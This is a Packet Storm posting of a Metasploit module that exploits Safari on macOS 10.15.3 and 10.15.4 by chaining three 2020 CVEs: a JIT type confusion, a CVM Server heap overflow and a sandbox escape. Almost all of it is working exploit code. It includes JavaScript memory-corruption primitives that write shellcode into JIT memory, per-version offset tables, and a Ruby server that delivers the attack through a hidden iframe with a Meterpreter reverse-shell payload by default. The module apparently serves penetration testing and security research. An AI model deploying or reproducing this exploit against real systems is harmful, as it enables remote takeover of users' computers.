Lucene search

K
packetstormTimwrPACKETSTORM:159447
HistoryOct 01, 2020 - 12:00 a.m.

Safari Type Confusion / Sandbox Escape

2020-10-0100:00:00
timwr
packetstormsecurity.com
310
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Post::File  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Safari in Operator Side Effect Exploit',  
'Description' => %q{  
This module exploits an incorrect side-effect modeling of the 'in' operator.  
The DFG compiler assumes that the 'in' operator is side-effect free, however  
the <embed> element with the PDF plugin provides a callback that can trigger  
side-effects leading to type confusion (CVE-2020-9850).  
The type confusion can be used as addrof and fakeobj primitives that then  
lead to arbitrary read/write of memory. These primitives allow us to write  
shellcode into a JIT region (RWX memory) containing the next stage of the  
exploit.  
The next stage uses CVE-2020-9856 to exploit a heap overflow in CVM Server,  
and extracts a macOS application containing our payload into /var/db/CVMS.  
The payload can then be opened with CVE-2020-9801, executing the payload  
as a user but without sandbox restrictions.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Yonghwi Jin <jinmoteam[at]gmail.com>', # pwn2own2020  
'Jungwon Lim <setuid0[at]protonmail.com>', # pwn2own2020  
'Insu Yun <insu[at]gatech.edu>', # pwn2own2020  
'Taesoo Kim <taesoo[at]gatech.edu>', # pwn2own2020  
'timwr' # metasploit integration  
],  
'References' => [  
['CVE', '2020-9801'],  
['CVE', '2020-9850'],  
['CVE', '2020-9856'],  
['URL', 'https://github.com/sslab-gatech/pwn2own2020'],  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },  
'Targets' => [  
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],  
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],  
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],  
],  
'DisclosureDate' => 'Mar 18 2020'  
)  
)  
register_advanced_options([  
OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information in the exploit javascript', false]),  
])  
end  
  
def exploit_js  
<<~JS  
const DUMMY_MODE = 0;  
const ADDRESSOF_MODE = 1;  
const FAKEOBJ_MODE = 2;  
  
function pwn() {  
let otherWindow = document.getElementById('frame').contentWindow;  
let innerDiv = otherWindow.document.querySelector('div');  
  
if (!innerDiv) {  
print("Failed to get innerDiv");  
return;  
}  
  
let embed = otherWindow.document.querySelector('embed');  
  
otherWindow.document.body.removeChild(embed);  
otherWindow.document.body.removeChild(otherWindow.annotationContainer);  
  
const origFakeObjArr = [1.1, 1.1];  
const origAddrOfArr = [2.2, 2.2];  
let fakeObjArr = Array.from(origFakeObjArr);  
let addressOfArr = Array.from(origAddrOfArr);  
let addressOfTarget = {};  
  
let sideEffectMode = DUMMY_MODE;  
otherWindow.document.body.addEventListener('DOMSubtreeModified', () => {  
if (sideEffectMode == DUMMY_MODE)  
return;  
else if (sideEffectMode == FAKEOBJ_MODE)  
fakeObjArr[0] = {};  
else if (sideEffectMode == ADDRESSOF_MODE)  
addressOfArr[0] = addressOfTarget;  
});  
  
print('Callback is registered');  
  
otherWindow.document.body.appendChild(embed);  
let triggerArr;  
  
function optFakeObj(triggerArr, arr, addr) {  
arr[1] = 5.5;  
let tmp = 0 in triggerArr;  
arr[0] = addr;  
return tmp;  
}  
  
function optAddrOf(triggerArr, arr) {  
arr[1] = 6.6;  
let tmp = 0 in triggerArr;  
return [arr[0], tmp];  
}  
  
function prepare() {  
triggerArr = [7.7, 8.8];  
triggerArr.__proto__ = embed;  
sideEffectMode = DUMMY_MODE;  
for (var i = 0; i < 1e5; i++) {  
optFakeObj(triggerArr, fakeObjArr, 9.9);  
optAddrOf(triggerArr, addressOfArr);  
}  
delete triggerArr[0];  
}  
  
function cleanup() {  
otherWindow.document.body.removeChild(embed);  
otherWindow.document.body.appendChild(embed);  
  
if (sideEffectMode == FAKEOBJ_MODE)  
fakeObjArr = Array.from(origFakeObjArr);  
else if (sideEffectMode == ADDRESSOF_MODE)  
addressOfArr = Array.from(origAddrOfArr);  
  
sideEffectMode = DUMMY_MODE;  
}  
  
function addressOf(obj) {  
addressOfTarget = obj;  
sideEffectMode = ADDRESSOF_MODE;  
let ret = optAddrOf(triggerArr, addressOfArr)[0];  
cleanup();  
return Int64.fromDouble(ret);  
}  
  
function fakeObj(addr) {  
sideEffectMode = FAKEOBJ_MODE;  
optFakeObj(triggerArr, fakeObjArr, addr.asDouble());  
let ret = fakeObjArr[0];  
cleanup();  
return ret;  
}  
  
prepare();  
print("Prepare is done");  
  
let hostObj = {  
_: 1.1,  
length: (new Int64('0x4141414141414141')).asDouble(),  
id: new Int64([  
0, 0, 0, 0, // m_structureID  
0x17, // m_indexingType  
0x19, // m_type  
0x08, // m_flags  
0x1 // m_cellState  
]).asJSValue(),  
butterfly: 0,  
o:1,  
executable:{  
a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58)  
unlinkedExecutable:{  
isBuiltinFunction: 1 << 31,  
b:0, c:0, d:0, e:0, f:0, g:0, // Padding (offset: 0x48)  
identifier: null  
}  
},  
strlen_or_id: (new Int64('0x10')).asDouble(),  
target: null  
}  
  
// Structure ID leak of hostObj.target  
hostObj.target=hostObj  
  
var hostObjRawAddr = addressOf(hostObj);  
var hostObjBufferAddr = Add(hostObjRawAddr, 0x20)  
var fakeHostObj = fakeObj(hostObjBufferAddr);  
var fakeIdentifier = fakeObj(Add(hostObjRawAddr, 0x40));  
  
hostObj.executable.unlinkedExecutable.identifier=fakeIdentifier  
let rawStructureId=Function.prototype.toString.apply(fakeHostObj)  
  
let leakStructureId=Add(new Int64(  
rawStructureId[9].charCodeAt(0)+rawStructureId[10].charCodeAt(0)*0x10000  
), new Int64([  
0, 0, 0, 0, // m_structureID  
0x07, // m_indexingType  
0x22, // m_type  
0x06, // m_flags  
0x1 // m_cellState  
]))  
print('Leaked structure ID: ' + leakStructureId);  
  
hostObj.strlen_or_id = hostObj.id = leakStructureId.asDouble();  
hostObj.butterfly = fakeHostObj;  
  
addressOf = function(obj) {  
hostObj.o = obj;  
return Int64.fromDouble(fakeHostObj[2]);  
}  
  
fakeObj = function(addr) {  
fakeHostObj[2] = addr.asDouble();  
return hostObj.o;  
}  
  
print('Got reliable addressOf/fakeObj');  
  
let rwObj = {  
_: 1.1,  
length: (new Int64('0x4141414141414141')).asDouble(),  
id: leakStructureId.asDouble(),  
butterfly: 1.1,  
  
__: 1.1,  
innerLength: (new Int64('0x4141414141414141')).asDouble(),  
innerId: leakStructureId.asDouble(),  
innerButterfly: 1.1,  
}  
  
var rwObjBufferAddr = Add(addressOf(rwObj), 0x20);  
var fakeRwObj = fakeObj(rwObjBufferAddr);  
rwObj.butterfly = fakeRwObj;  
  
var fakeInnerObj = fakeObj(Add(rwObjBufferAddr, 0x20));  
rwObj.innerButterfly = fakeInnerObj;  
  
  
function read64(addr) {  
// We use butterfly and it depends on its size in -1 index  
// Thus, we keep searching non-zero value to read value  
for (var i = 0; i < 0x1000; i++) {  
fakeRwObj[5] = Sub(addr, -8 * i).asDouble();  
let value = fakeInnerObj[i];  
if (value) {  
return Int64.fromDouble(value);  
}  
}  
throw 'Failed to read: ' + addr;  
}  
  
function write64(addr, value) {  
fakeRwObj[5] = addr.asDouble();  
fakeInnerObj[0] = value.asDouble();  
}  
  
function makeJITCompiledFunction() {  
var obj = {};  
// Some code to avoid inlining...  
function target(num) {  
num ^= Math.random() * 10000;  
num ^= 0x70000001;  
num ^= Math.random() * 10000;  
num ^= 0x70000002;  
num ^= Math.random() * 10000;  
num ^= 0x70000003;  
num ^= Math.random() * 10000;  
num ^= 0x70000004;  
num ^= Math.random() * 10000;  
num ^= 0x70000005;  
num ^= Math.random() * 10000;  
num ^= 0x70000006;  
num ^= Math.random() * 10000;  
num ^= 0x70000007;  
num ^= Math.random() * 10000;  
num ^= 0x70000008;  
num ^= Math.random() * 10000;  
num ^= 0x70000009;  
num ^= Math.random() * 10000;  
num ^= 0x7000000a;  
num ^= Math.random() * 10000;  
num ^= 0x7000000b;  
num ^= Math.random() * 10000;  
num ^= 0x7000000c;  
num ^= Math.random() * 10000;  
num ^= 0x7000000d;  
num ^= Math.random() * 10000;  
num ^= 0x7000000e;  
num ^= Math.random() * 10000;  
num ^= 0x7000000f;  
num ^= Math.random() * 10000;  
num ^= 0x70000010;  
num ^= Math.random() * 10000;  
num ^= 0x70000011;  
num ^= Math.random() * 10000;  
num ^= 0x70000012;  
num ^= Math.random() * 10000;  
num ^= 0x70000013;  
num ^= Math.random() * 10000;  
num ^= 0x70000014;  
num ^= Math.random() * 10000;  
num ^= 0x70000015;  
num ^= Math.random() * 10000;  
num ^= 0x70000016;  
num ^= Math.random() * 10000;  
num ^= 0x70000017;  
num ^= Math.random() * 10000;  
num ^= 0x70000018;  
num ^= Math.random() * 10000;  
num ^= 0x70000019;  
num ^= Math.random() * 10000;  
num ^= 0x7000001a;  
num ^= Math.random() * 10000;  
num ^= 0x7000001b;  
num ^= Math.random() * 10000;  
num ^= 0x7000001c;  
num ^= Math.random() * 10000;  
num ^= 0x7000001d;  
num ^= Math.random() * 10000;  
num ^= 0x7000001e;  
num ^= Math.random() * 10000;  
num ^= 0x7000001f;  
num ^= Math.random() * 10000;  
num ^= 0x70000020;  
num ^= Math.random() * 10000;  
num &= 0xffff;  
return num;  
}  
  
// Force JIT compilation.  
for (var i = 0; i < 1000; i++) {  
target(i);  
}  
for (var i = 0; i < 1000; i++) {  
target(i);  
}  
for (var i = 0; i < 1000; i++) {  
target(i);  
}  
return target;  
}  
  
function getJITCodeAddr(func) {  
var funcAddr = addressOf(func);  
print("Target function @ " + funcAddr.toString());  
var executableAddr = read64(Add(funcAddr, 3 * 8));  
print("Executable instance @ " + executableAddr.toString());  
  
var jitCodeAddr = read64(Add(executableAddr, 3 * 8));  
print("JITCode instance @ " + jitCodeAddr.toString());  
  
if (And(jitCodeAddr, new Int64('0xFFFF800000000000')).toString() != '0x0000000000000000' ||  
And(Sub(jitCodeAddr, new Int64('0x100000000')), new Int64('0x8000000000000000')).toString() != '0x0000000000000000') {  
jitCodeAddr = Add(ShiftLeft(read64(Add(executableAddr, 3 * 8 + 1)), 1), 0x100);  
print("approx. JITCode instance @ " + jitCodeAddr.toString());  
}  
  
return jitCodeAddr;  
}  
  
function setJITCodeAddr(func, addr) {  
var funcAddr = addressOf(func);  
print("Target function @ " + funcAddr.toString());  
var executableAddr = read64(Add(funcAddr, 3 * 8));  
print("Executable instance @ " + executableAddr.toString());  
write64(Add(executableAddr, 3 * 8), addr);  
}  
  
function getJITFunction() {  
var shellcodeFunc = makeJITCompiledFunction();  
shellcodeFunc();  
var jitCodeAddr = getJITCodeAddr(shellcodeFunc);  
return [shellcodeFunc, jitCodeAddr];  
}  
  
var [_JITFunc, rwxMemAddr] = getJITFunction();  
  
for (var i = 0; i < stage0.length; i++)  
write64(Add(rwxMemAddr, i), new Int64(stage0[i]));  
  
setJITCodeAddr(alert, rwxMemAddr);  
var argv = {  
a0: stage1Arr,  
a1: stage2Arr,  
doc: document,  
a2: 0x41414141,  
a3: 0x42424242,  
a4: 0x43434343,  
};  
alert(argv);  
}  
  
var ready = new Promise(function(resolve) {  
if (typeof(window) === 'undefined')  
resolve();  
else  
window.onload = function() {  
resolve();  
}  
});  
  
ready.then(function() {  
try {  
pwn()  
} catch (e) {  
print("Exception caught: " + e);  
location.reload();  
}  
}).catch(function(err) {  
print("Initializatin failed");  
});  
JS  
end  
  
def offset_table  
{  
'placeholder' => {  
jsc_confstr_stub: 0x0FF5370041414141,  
jsc_llint_entry_call: 0x0FF5370041414142,  
libsystem_c_confstr: 0x0FF5370041414143,  
libsystem_c_dlopen: 0x0FF5370041414144,  
libsystem_c_dlsym: 0x0FF5370041414145  
},  
'10.15.3' => {  
jsc_confstr_stub: 0xE7D8B4,  
jsc_llint_entry_call: 0x361f13,  
libsystem_c_confstr: 0x2644,  
libsystem_c_dlopen: 0x80430,  
libsystem_c_dlsym: 0x80436  
},  
'10.15.4' => {  
jsc_confstr_stub: 0xF96446,  
jsc_llint_entry_call: 0x380a1d,  
libsystem_c_confstr: 0x2be4,  
libsystem_c_dlopen: 0x8021e,  
libsystem_c_dlsym: 0x80224  
}  
}  
end  
  
def get_offsets(user_agent)  
if user_agent =~ /Intel Mac OS X (.*?)\)/  
osx_version = Regexp.last_match(1).gsub('_', '.')  
if user_agent =~ %r{Version/(.*?) }  
if Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('13.1')  
print_warning "Safari version #{Regexp.last_match(1)} is not vulnerable"  
return false  
else  
print_good "Safari version #{Regexp.last_match(1)} appears to be vulnerable"  
end  
end  
mac_osx_version = Gem::Version.new(osx_version)  
if mac_osx_version >= Gem::Version.new('10.15.5')  
print_warning "macOS version #{mac_osx_version} is not vulnerable"  
elsif mac_osx_version < Gem::Version.new('10.14')  
print_warning "macOS version #{mac_osx_version} is not supported"  
elsif offset_table.key?(osx_version)  
return offset_table[osx_version]  
else  
print_warning "No offsets for version #{mac_osx_version}"  
end  
else  
print_warning 'Unexpected User-Agent'  
end  
return false  
end  
  
def on_request_uri(cli, request)  
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}  
print_status("[*] #{request.body}")  
send_response(cli, '')  
return  
end  
  
user_agent = request['User-Agent']  
print_status("Request #{request.uri} from #{user_agent}")  
if request.uri.ends_with? '.pdf'  
send_response(cli, '', { 'Content-Type' => 'application/pdf' })  
return  
end  
  
offsets = get_offsets(user_agent)  
unless offsets  
send_not_found(cli)  
return  
end  
  
utils = exploit_data 'javascript_utils', 'utils.js'  
int64 = exploit_data 'javascript_utils', 'int64.js'  
stage0 = exploit_data 'CVE-2020-9850', 'stage0.bin'  
stage1 = exploit_data 'CVE-2020-9850', 'loader.bin'  
stage2 = exploit_data 'CVE-2020-9850', 'sbx.bin'  
  
offset_table['placeholder'].each do |k, v|  
placeholder_index = stage1.index([v].pack('Q'))  
stage1[placeholder_index, 8] = [offsets[k]].pack('Q')  
end  
  
case target['Arch']  
when ARCH_X64  
root_payload = payload.encoded  
when ARCH_PYTHON  
root_payload = "CMD:echo \"#{payload.encoded}\" | python"  
when ARCH_CMD  
root_payload = "CMD:#{payload.encoded}"  
end  
if root_payload.length > 1024  
fail_with Failure::PayloadFailed, "Payload size (#{root_payload.length}) exceeds space in payload placeholder"  
end  
placeholder_index = stage2.index('ROOT_PAYLOAD_PLACEHOLDER')  
stage2[placeholder_index, root_payload.length] = root_payload  
payload_js = <<~JS  
const stage0 = [  
#{Rex::Text.to_num(stage0)}  
];  
var stage1Arr = new Uint8Array([#{Rex::Text.to_num(stage1)}]);  
var stage2Arr = new Uint8Array([#{Rex::Text.to_num(stage2)}]);  
JS  
  
jscript = <<~JS  
#{utils}  
#{int64}  
#{payload_js}  
#{exploit_js}  
JS  
  
if datastore['DEBUG_EXPLOIT']  
debugjs = %^  
print = function(arg) {  
var request = new XMLHttpRequest();  
request.open("POST", "/print", false);  
request.send("" + arg);  
};  
^  
jscript = "#{debugjs}#{jscript}"  
else  
jscript.gsub!(%r{//.*$}, '') # strip comments  
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);  
end  
  
pdfpath = datastore['URIPATH'] || get_resource  
pdfpath += '/' unless pdfpath.end_with? '/'  
pdfpath += Rex::Text.rand_text_alpha(4..8) + '.pdf'  
  
html = <<~HTML  
<html>  
<head>  
<style>  
body {  
margin: 0;  
}  
iframe {  
display: none;  
}  
</style>  
</head>  
<body>  
<iframe id=frame width=10% height=10% src="#{pdfpath}"></iframe>  
<script>  
#{jscript}  
</script>  
</body>  
</html>  
HTML  
  
send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })  
end  
  
end  
`